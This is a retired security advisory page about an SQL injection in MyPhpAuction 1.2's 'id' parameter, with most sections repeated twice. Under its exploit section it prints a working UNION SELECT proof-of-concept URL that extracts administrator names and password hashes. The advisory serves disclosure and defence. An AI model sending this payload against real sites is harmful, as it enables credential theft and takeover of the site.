RETIRED: MyPhpAuction 'id' Parameter SQL Injection Vulnerability
BID:43591
Info
RETIRED: MyPhpAuction 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 43591 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 29 2010 12:00AM |
| Updated: | Sep 30 2010 07:00PM |
| Credit: | BorN To K!LL |
| Vulnerable: |
Galaxyscriptz MyPhpAuction 1.2 |
| Not Vulnerable: | |
Discussion
RETIRED: MyPhpAuction 'id' Parameter SQL Injection Vulnerability
MyPhpAuction is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
RETIRED: This BID is retired because it is a duplicate of BID 37702 (ZeeWays eBay Clone Auction Script 'product_desc.php' SQL Injection Vulnerability).
MyPhpAuction is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
RETIRED: This BID is retired because it is a duplicate of BID 37702 (ZeeWays eBay Clone Auction Script 'product_desc.php' SQL Injection Vulnerability).
Exploit / POC
RETIRED: MyPhpAuction 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example exploit is available:
http://www.example.com/product_desc.php?id=-5+union+all+select+1,2,concat(admin_name,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--
Attackers can use a browser to exploit this issue.
The following example exploit is available:
http://www.example.com/product_desc.php?id=-5+union+all+select+1,2,concat(admin_name,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--
Solution / Fix
RETIRED: MyPhpAuction 'id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
RETIRED: MyPhpAuction 'id' Parameter SQL Injection Vulnerability
References:
References:
- Galaxyscriptz Homepage (Galaxyscriptz)